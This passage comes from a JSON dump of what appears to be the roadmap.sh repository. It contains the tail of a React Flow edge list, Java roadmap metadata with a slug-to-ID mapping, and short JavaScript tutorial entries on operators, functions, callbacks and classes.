\"kN-mXxqUPNJNsJGQ0U_7J\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LgpsnXV0CTvTspjnsd0Rdw2-kN-mXxqUPNJNsJGQ0U_7Jx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_W84u4UXMSY0zvy6RJvFi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"81N1cZLue_Ii0uD5CV6kZ\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LgpsnXV0CTvTspjnsd0Rdy2-81N1cZLue_Ii0uD5CV6kZz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"shqS9-hg__mkOtnnl_I4l\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"u_YysD7Bpnq-xkFX5yJGz\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JeMG0gU8IVRBZgczjXmPiw2-u_YysD7Bpnq-xkFX5yJGzx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_W84u4UXMSY0zvy6RJvFi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fV-gW51jhna2__Ln2HIIh\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_W84u4UXMSY0zvy6RJvFiz2-LgpsnXV0CTvTspjnsd0Rdy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fV-gW51jhna2__Ln2HIIh\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"WzWOxBUKKg6LeuBmVesc2\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LgpsnXV0CTvTspjnsd0Rdw2-WzWOxBUKKg6LeuBmVesc2x1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fV-gW51jhna2__Ln2HIIh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"d9F5Wt8onY125DLuzNULg\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fV-gW51jhna2__Ln2HIIhx2-LgpsnXV0CTvTspjnsd0Rdw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d9F5Wt8onY125DLuzNULg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LgpsnXV0CTvTspjnsd0Rd\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-d9F5Wt8onY125DLuzNULgy2-LgpsnXV0CTvTspjnsd0Rdz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d9F5Wt8onY125DLuzNULg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"d9F5Wt8onY125DLuzNULg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-d9F5Wt8onY125DLuzNULgy2-d9F5Wt8onY125DLuzNULgy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DYkdM_L7T2GcTPAoZNnURx2-0vLaVNJaJSHZ_bHli6Qzsz1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LgpsnXV0CTvTspjnsd0Rd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LgpsnXV0CTvTspjnsd0Rdx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/java/java.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/java.json'\npdfUrl: '/pdfs/roadmaps/java.pdf'\norder: 9\nrenderer: 'editor'\nbriefTitle: 'Java'\nbriefDescription: 'Step by step guide to becoming a Java Developer in 2025'\ntitle: 'Java Developer'\ndescription: 'Step by step guide to becoming a Java developer in 2025'\nhasTopics: true\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nquestion:\n  title: 'What is a Java Developer?'\n  description: |\n    A Java Developer is a software engineer specialized in developing applications using the Java language.\n\n    Their work includes building web apps (like AEM or Liferay, both built in Java), desktop apps (such as Eclipse, the de facto IDE for Java itself), and enterprise systems (like ERP & CRM systems). Their responsibilities include writing code, solving technical issues, and ensuring the performance and reliability of the software.\n\n    Java developers usually work with various tools and technologies, including JVM, frameworks like Vaadin, Struts, and others, and REST APIs, to deliver high-quality solutions.\n\n    While Java is a very versatile language and the JVM allows for portability across multiple environments, Java developers can typically be found working in the financial, healthcare, telecom, and data-related industries.\n\n    ## What do Java Developers do?\n\n    Java Developers spend most of their time creating Java programs for various applications, including web apps, desktop applications, and large-scale enterprise systems. They are responsible for designing, writing, testing, and maintaining code to ensure performance, functionality, and security.\n\n    One of the most common tasks of a Java Developer is working on backend development, where they create server-side logic, manage databases, and ensure seamless communication between different parts of an application. For example, they can use Spring Boot and Hibernate to build RESTful APIs.\n\n    In enterprise environments, Java Developers work with large-scale solutions used by corporations, banks, and government institutions. For instance, they might develop an online banking system that processes thousands of transactions per second, ensuring high performance and reliability. In this case, they would work with JVM tuning, concurrency management, and database optimization to maintain system stability.\n\n    Overall, Java Developers are expected to continuously learn and stay updated with the latest tech trends and best practices to ensure they deliver high-performance software solutions that meet business and user needs.\n\n    ## What skills do I need to become a Java Developer?\n\n    To become a Java Developer you need multiple different skills. The first thing you need is a strong foundation in the Java programming language, its ecosystem, and a proper understanding of software engineering principles.\n\n    Of course, going deeper into Java, knowledge of JVM, concurrency, and memory management are crucial [java developer skills](https://roadmap.sh/java/developer-skills) to work on those large-scale enterprise systems.\n\n    If you're working with RESTful APIs (which is highly likely), understanding technologies like Hibernate and having experience with Oracle (or other types of SQL) databases are important for backend Java developers.\n\n    Generally speaking, devs should also be skilled in analyzing and solving tech problems, working within a team, and following industry standards in software development. Given the industries where Java is quite popular, familiarity with web applications, testing tools, and modern engineering practices is also very valuable.\n\n    ## How do I become a Java Developer?\n\n    To become a Java developer, it's highly recommended to follow a structured learning process (for example, the [Java roadmap](https://roadmap.sh/java) is a good place to start).\n\n    The first thing to focus on is to learn the Java programming language, gaining an understanding of its core concepts, typing system, and some Object Oriented Programming (given how Java is highly based on it). You'll likely expand this last part over time, as it's one of the core principles around the language.\n\n    Once familiar with Java, start practicing developing small Java programs; they will give you a chance to face real-world problems and find creative solutions to them. While you're doing that, try to study best practices and understand development methodologies to help you build expertise.\n\n    And if that wasn't enough, many aspiring developers take online training courses and gain real-world experience through entry-level roles. In the end, the best way to learn programming is by doing, and these entry-level jobs are great for that.\n\ndimensions:\n  width: 968\n  height: 2000\nschema:\n  headline: 'Java Developer Roadmap'\n  description: 'Learn how to become a Java Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/java.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Learn to become a modern Java developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for java development. Learn to become a modern Java developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a developer'\n    - 'guide to becoming a java developer'\n    - 'java developer'\n    - 'java engineer'\n    - 'java skills'\n    - 'guide to java'\n    - 'java roadmap'\n    - 'java roadmap 2025'\n    - 'java skills'\n    - 'java skills test'\n    - 'skills for java'\n    - 'cloud development'\n    - 'what is java'\n    - 'java quiz'\n    - 'java interview questions'\n    - 'java engineer roadmap'\n    - 'java engineer roadmap 2025'\n    - 'java developer roadmap 2025'\n    - 'java developer roadmap'\n    - 'become a java developer'\n    - 'java developer career path'\n    - 'java developer'\n    - 'modern java developer'\nrelatedRoadmaps:\n  - 'backend'\n  - 'spring-boot'\n  - 'devops'\n  - 'golang'\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/java/migration-mapping.json",
    "content": "{\n  \"java-fundamentals\": \"2TGq1y2QthnxxN-FfToSe\",\n  \"java-fundamentals:basic-syntax\": \"OlbQNB6YXZjO1J7D0lZU1\",\n  \"java-fundamentals:conditionals\": \"sG_3ZQIE1-FQXQkk-OduQ\",\n  \"java-fundamentals:date-time\": \"9h20XVRli7TDq0QIJwX2U\",\n  \"java-fundamentals:loops\": \"JHUhVEjWFXTn6-wKcKevg\",\n  \"java-fundamentals:exception-handling\": \"g9P3548F38tYGjevBc42w\",\n  \"java-fundamentals:data-types-variables\": \"5g9mmi01WeZ4aDqNzwx_V\",\n  \"java-fundamentals:packages\": \"60POZOjwHSdKYL6rfkyEy\",\n  \"java-fundamentals:files-and-apis\": \"NowpzyPVFcX082j5YS5i8\",\n  \"java-advanced-topics:basics-of-threads\": \"u_YysD7Bpnq-xkFX5yJGz\",\n  \"java-advanced-topics:streams\": \"WHxAwfdKHQSOg0TLX05EG\",\n  \"java-advanced-topics:networking-sockets\": \"JeMG0gU8IVRBZgczjXmPi\",\n  \"java-build-tools:gradle\": \"rmDIm5dqtdlNfPhvpqS7-\",\n  \"java-build-tools:maven\": \"VdL_fAHxmRbuF0J627beA\",\n  \"java-build-tools\": \"81N1cZLue_Ii0uD5CV6kZ\",\n  \"java-web-frameworks\": \"_W84u4UXMSY0zvy6RJvFi\",\n  \"java-web-frameworks:spring-boot\": \"xoryfi4SpJlkz-PV05ql6\",\n  \"java-web-frameworks:quarkus\": \"w-kcKPh8U0P_jtT90_1Xy\",\n  \"java-web-frameworks:play-framework\": \"kN-mXxqUPNJNsJGQ0U_7J\",\n  \"java-logging-frameworks:logback\": \"okC1uMdyfIJAhX_R9Npsw\",\n  \"java-logging-frameworks:log4j2\": \"sFaNj_1MviaTc6UIfjXl6\",\n  \"java-logging-frameworks:slf4j\": \"LGlZHKqyQ-aWtHnhklhgn\",\n  \"java-logging-frameworks:tinylog\": \"Fn7aAaGbwYsAp4xLuuFud\",\n  \"java-orm\": \"fV-gW51jhna2__Ln2HIIh\",\n  \"java-orm:spring-data-jpa\": \"WzWOxBUKKg6LeuBmVesc2\",\n  \"java-orm:hibernate\": \"UEiDzzodyEu5O1xFAFDly\",\n  \"java-orm:ebean\": \"X2rJ3BY1ytFKsbJqJETFu\",\n  \"java-jdbc\": \"9UbRG752qxJdUwmqEAjN3\",\n  \"java-logging-frameworks\": \"d9F5Wt8onY125DLuzNULg\",\n  \"testing-java-apps\": \"LgpsnXV0CTvTspjnsd0Rd\",\n  \"testing-java-apps:mocking\": \"mLM1HJf6_pxrUDOmb45ew\",\n  \"testing-java-apps:cucumber-jvm\": \"UFDy19TNkykRsKv4vRsVJ\",\n  \"testing-java-apps:junit\": \"hY1-sEpTmpaj1PregdkFf\",\n  \"testing-java-apps:testng\": \"XU2C8bF9ICej8LS7ZGTTv\",\n  \"testing-java-apps:jmeter\": \"U2BqOY49HaII6mKQB3SVt\",\n  \"testing-java-apps:rest-assured\": \"gB4XUR9nCdF1-dOEwGcHi\",\n  \"java-advanced-topics:generics\": \"eL4pc6SaNiKP48PzN7mNe\"\n}"
  },
  {
    "path": "src/data/roadmaps/javascript/content/@RonBj1htt6jnBt3W7zoTA.md",
    "content": "# Value Comparison Operators\n\nIn javascript, the `==` operator does the type conversion of the operands before comparison, whereas the `===` operator compares the values and the data types of the operands. The `Object.is()` method determines whether two values are the same value: `Object.is(value1, value2)`.\n\n`Object.is()` is not equivalent to the `==` operator. The `==` operator applies various coercions to both sides (if they are not the same type) before testing for equality (resulting in such behavior as `\"\" == false` being `true`), but `Object.is()` doesn't coerce either value.\n\n`Object.is()` is also not equivalent to the `===` operator. The only difference between `Object.is()` and `===` is in their treatment of signed zeros and `NaN` values. The `===` operator (and the `==` operator) treats the number values `-0` and `+0` as equal but treats `NaN` as not equal to each other.\n\nVisit the following resources to learn more:\n\n- [@article@Equality comparisons and sameness - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#same-value_equality_using_object.is)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/@lJwcc6JoUIQoiQ6FkV2KW.md",
    "content": "# Strict Equality Operator (===)\n\nIn JavaScript, the strict equality operator `===` compares both the value and the type of two operands. This means that it will only return true if both the value and the type are identical.\n\n```sh\n\"5\" === \"5\"   // true\n```\n\nIn this case, both the value and the type are the same, so the result is true.\n\n```sh\n\"5\" === 5   // false\n```\n\nHere, although the values might appear similar, the types are different (string and number), so the result is false. The strict equality operator does not perform type coercion; both the value and the type must be identical.\n\nLearn more from the following resources:\n\n- [@article@Strict equality - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/all-about-variables@kvActjpU4FUJdrmuFoFEe.md",
    "content": "# Javascript Variables\n\nMost of the time, a JavaScript application needs to work with information. To store and represent this information in the JavaScript codebase, we use variables. A variable is a container for a value.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Variables](https://javascript.info/variables)\n- [@article@Storing the information you need — Variables](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/apply@-BtF34cEzI6J8sZCDRlRE.md",
    "content": "# apply\n\nThe apply() method of Function instances calls this function with a given this value, and arguments provided as an array (or an array-like object).\n\nVisit the following resources to learn more:\n\n- [@article@apply() - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/arguments-object@QLC7bW-qHskLH2HOA-Sko.md",
    "content": "# Arguments object\n\nThe arguments object is an Array-like object accessible inside functions that contains the values of the arguments passed to that function, available within all non-arrow functions. You can refer to a function's arguments inside that function by using its arguments object. It has entries for each argument the function was called with, with the first entry's index at 0. But, in modern code, rest parameters should be preferred.\n\nVisit the following resources to learn more:\n\n- [@article@The arguments object - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/arithmetic-operators@0PK1NwlgkNe2Vf-We4uLH.md",
    "content": "# Arithmetic operators\n\nThe Arithmetic operators perform addition, subtraction, multiplication, division, exponentiation, and remainder operations.\n\nArithmetic operators in JavaScript are as follows:\n\n- `+` (Addition)\n- `-` (Subtraction)\n- `*` (Multiplication)\n- `**` (Exponentiation)\n- `/` (Division)\n- `%` (Modulus i.e. Remainder)\n- `++` (Increment)\n- `--` (Decrement)\n\nVisit the following resources to learn more:\n\n- [@article@Arithmetic Operators - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#arithmetic_operators)\n- [@article@Arithmetic Operators - JavaScript.info](https://javascript.info/operators#maths)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/arrays@NZedBxG9B9TRVOf2QE2yL.md",
    "content": "# Arrays\n\nArrays are objects that store a collection of items and can be assigned to a variable. They have their methods that can perform operations on the array.\n\nVisit the following resources to learn more:\n\n- [@article@Working with Arrays in JavaScript](https://javascript.info/array)\n- [@article@JavaScript Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)\n- [@video@JavaScript Arrays](https://www.youtube.com/watch?v=oigfaZ5ApsM)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/arrow-functions@fr0NChxMXLpJizyMhXcXS.md",
    "content": "# Arrow Functions\n\nArrow Function is a new way of creating functions with the '=>' operator with a shorter syntax.\n\n## Example\n\n```js\nconst sayHello = () => {\n    console.log(`Hello from Arrow Function !`);\n}\n```\n\nVisit the following resources to learn more:\n\n- [@article@MDN - Arrow Function Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/assignment-operators@IvBtUzIGnkgGXrJjqmjf4.md",
    "content": "# Assignment Operators\n\nAn assignment operator assigns a value to its left operand based on the value of its right operand. The simple assignment operator is equal (`=`), which assigns the value of its right operand to its left operand. That is, `x = f()` is an assignment expression that assigns the value of `f()` to `x`.\n\nVisit the following resources to learn more:\n\n- [@article@Assignment Operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#assignment_operators)\n- [@article@Basic Operators](https://javascript.info/operators#assignment)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/asyncawait@Dn872mgexmxoLtbkIgIgz.md",
    "content": "# Async/Await\n\n`async/await` is a special syntax to work with promises in a more comfortable fashion.\nWe use `async` keyword to declare a async function that return a Promise, and the `await` keyword makes a function wait for a Promise.\n\nVisit the following resources to learn more:\n\n- [@article@Async/await](https://javascript.info/async-await)\n- [@article@async function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)\n- [@article@JavaScript Promises - Chaining](https://www.codeguage.com/courses/advanced-js/promises-chaining)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/asynchronous-javascript@sFOqx6_7poVIVuXhJVY0E.md",
    "content": "# Asynchronous JavaScript\n\nAsynchronous programming is a technique that enables your program to start a potentially long-running task and still be able to be responsive to other events while that task runs, rather than having to wait until that task has finished. Once that task has finished, your program is presented with the result.\n\nMany functions provided by browsers, especially the most interesting ones, can potentially take a long time, and therefore, are asynchronous. For example:\n\n- Making HTTP requests using `fetch()`\n- Accessing a user's camera or microphone using `getUserMedia()`\n- Asking a user to select files using `showOpenFilePicker()`\n\nSo even though you may not have to implement your own asynchronous functions very often, you are very likely to need to use them correctly.\n\nVisit the following resources to learn more:\n\n- [@article@Asynchronous JavaScript - MDN](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Introducing)\n- [@video@What The Hack is Event Loop and Asynchronous JavaScript - JSConf](https://youtu.be/8aGhZQkoFbQ)\n- [@video@Asynchronous JavaScript - JavaScript Visualized](https://youtu.be/eiC58R16hb8)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/bigint-operators@udoz0DZi7f-vm30dSnYKu.md",
    "content": "# BigInt Operators\n\nMost operators that can be used with the `Number` data type will also work with `BigInt` values (e.g. arithmetic, comparison, etc.). However, the unsigned right shift `>>>` operator is an exception and is not supported. Similarly, some operators may have slight differences in behaviour (for example, division with `BigInt` will round towards zero).\n\nVisit the following resources to learn more:\n\n- [@article@BigInt Operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#bigint_operators)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/bigint@6lUF0neW1piiP1RsaVxEX.md",
    "content": "# bigint\n\nBigInt is a built-in JavaScript object that allows you to work with integers of arbitrary size.\n\nUnlike the Number type, which can accurately represent integers only within the range of ±2^53 , BigInt can handle integers far beyond this limit. This makes it particularly useful for applications requiring high precision with very large numbers, such as cryptography or scientific computations.\n\nVisit the following resources to learn more:\n\n- [@article@BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt)\n- [@video@The Whys and Hows Of BigInt](https://youtu.be/6I650PQfhMg?si=XyVGrmp4KWLRcHVj)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/bind@dbercnxXVTJXMpYSDNGb2.md",
    "content": "# bind()\n\nThe `bind()` method in JavaScript allows you to create a new function with a specific context and optionally preset arguments. Unlike `call()` or `apply()`, `bind()` does not immediately invoke the function. Instead, it returns a new function that can be called later, either as a regular function or with additional arguments. This is particularly useful when you want to ensure that a function retains a specific context, regardless of how or when it's invoked.\n\nVisit the following resources to learn more:\n\n- [@article@bind()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind)\n- [@article@Function binding](https://javascript.info/bind)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/bitwise-operators@ghjNJW67Wj5L5QK46xwL-.md",
    "content": "# Bitwise operators\n\nBitwise operators treat arguments as 32-bits (zeros & ones) and work on the level of their binary representation.\nEx. Decimal number `9` has a binary representation of `1001`. Bitwise operators perform their operations on such binary representations, but they return standard JavaScript numerical values.\n\nBitwise operators in JavaScript are as follows:\n\n- `&` (AND)\n- `|` (OR)\n- `^` (XOR)\n- `~` (NOT)\n- `<<` (Left SHIFT)\n- `>>` (Right SHIFT)\n- `>>>` (Zero-Fill Right SHIFT)\n\nVisit the following resources to learn more:\n\n- [@article@Bitwise Operators - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#bitwise_operators)\n- [@article@Bitwise Operators - JavaScript.info](https://javascript.info/operators#bitwise-operators)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/block@uqEzHYx13Y2EpvTTRzykn.md",
    "content": "# Block Scope\n\nThis scope restricts the variable that is declared inside a specific block, from access by the outside of the block. The let & const keyword facilitates the variables to be block scoped. In order to access the variables of that specific block, we need to create an object for it. Variables declared with the var keyword, do not have block scope.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Scope](https://www.w3schools.com/js/js_scope.asp)"
  },
  {
    "path": "src/data/roadmaps/javascript/content/boolean@b1HvkoWA2t4kt8mS6FySm.md",
    "content": "# boolean\n\nIn JavaScript, a `boolean` is a simple data type that can hold one of two values: `true` or `false`. These values are used to represent logical states and are essential in controlling the flow of a program.\n\nBooleans are commonly used in conditional statements (`if`, `else`, `while`, etc.) to determine whether a block of code should execute.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)\n- [@video@Booleans in JavaScript](https://www.youtube.com/watch?v=B4ZCFdrBmbE)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/break--continue@4oHFzn7R7xLxfuLpsJjr-.md",
    "content": "# Break continue\n\n`break` statement, without a label reference, can only be used to jump out of a loop or a switch block.\n\n`continue` statement, with or without a label reference, can only be used to skip one loop iteration.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs - continue statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)\n- [@article@JavaScript MDN Docs - break statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/break)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/built-in-functions@s8wUJivWmetysJ8bt9FBC.md",
    "content": "# Built in functions\n\nJavaScript offers a variety of built-in functions that simplify common tasks, available globally or within specific objects without requiring explicit definition. Functions like parseInt(), setTimeout(), and Math.random() can be used directly, while objects like Array, String, and Date include built-in methods for efficient data manipulation. Understanding these functions enhances development by leveraging JavaScript’s core features without reinventing the wheel.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Built-in Functions](https://www.tutorialspoint.com/javascript/javascript_builtin_functions.htm)\n- [@article@Built-in Methods in Javascript](https://dev.to/elpepebenitez/built-in-methods-in-javascript-4bll)\n- [@article@Built-in Functions:](https://www.tutorialride.com/javascript/javascript-built-in-functions.htm)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/built-in-objects@D95ndkkwmT5X_HqboEn6E.md",
    "content": "# Built-in objects\n\nBuilt-in objects, or \"global objects\", are those built into the language specification itself. There are numerous built-in objects with the JavaScript language, all of which are accessible at the global scope. Some examples are:\n\n- `Number`\n- `Math`\n- `Date`\n- `String`\n- `Error`\n- `Function`\n- `Boolean`\n\nVisit the following resources to learn more:\n\n- [@article@Standard built-in objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects)\n- [@article@JavaScript Built-in Objects](https://www.tutorialride.com/javascript/javascript-built-in-objects.htm)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/call@gsyY3Oa3Jf0W5K_lyqBYO.md",
    "content": "# call()\n\nThe `call()` method allows you to invoke a function with a given `this` value, and arguments provided individually.\n\nVisit the following resources to learn more:\n\n- [@article@Call Method - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/callback-hell@PJSdqvh5OBwPCNpn3q_S5.md",
    "content": "# Callback Hell\n\nThe callback hell is when we try to write asynchronous JavaScript in a way where execution happens visually from top to bottom, creating a code that has a pyramid shape with many **})** at the end.\n\nVisit the following resources to learn more:\n\n- [@article@Callbacks in Callbacks - Pyramid of Doom](https://javascript.info/callbacks#pyramid-of-doom)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/callbacks@D8oGY7pdviRByaz6c9sU6.md",
    "content": "# Callbacks\n\nA callback function is a function passed into another function as an argument, which is then invoked inside the outer function to complete some kind of routine or action.\n\nVisit the following resources to learn more:\n\n- [@article@Callbacks in JavaScript](https://javascript.info/callbacks)\n- [@article@Callback Functions](https://developer.mozilla.org/en-US/docs/Glossary/Callback_function)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/classes@F_Lrj0F7UXriqJ0mhwxCy.md",
    "content": "# Classes\n\nClasses are a template for creating objects. They encapsulate data with code to work on that data. Classes in JS are built on prototypes but have some syntax and semantics that are not shared with ES5 class-like semantics.\n\nVisit the following resources to learn more:\n\n- [@article@Classes in JavaScript](https://javascript.info/classes)\n- [@article@JavaScript Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/closures@itS6B12I8I1KNCPvc0KCQ.md",
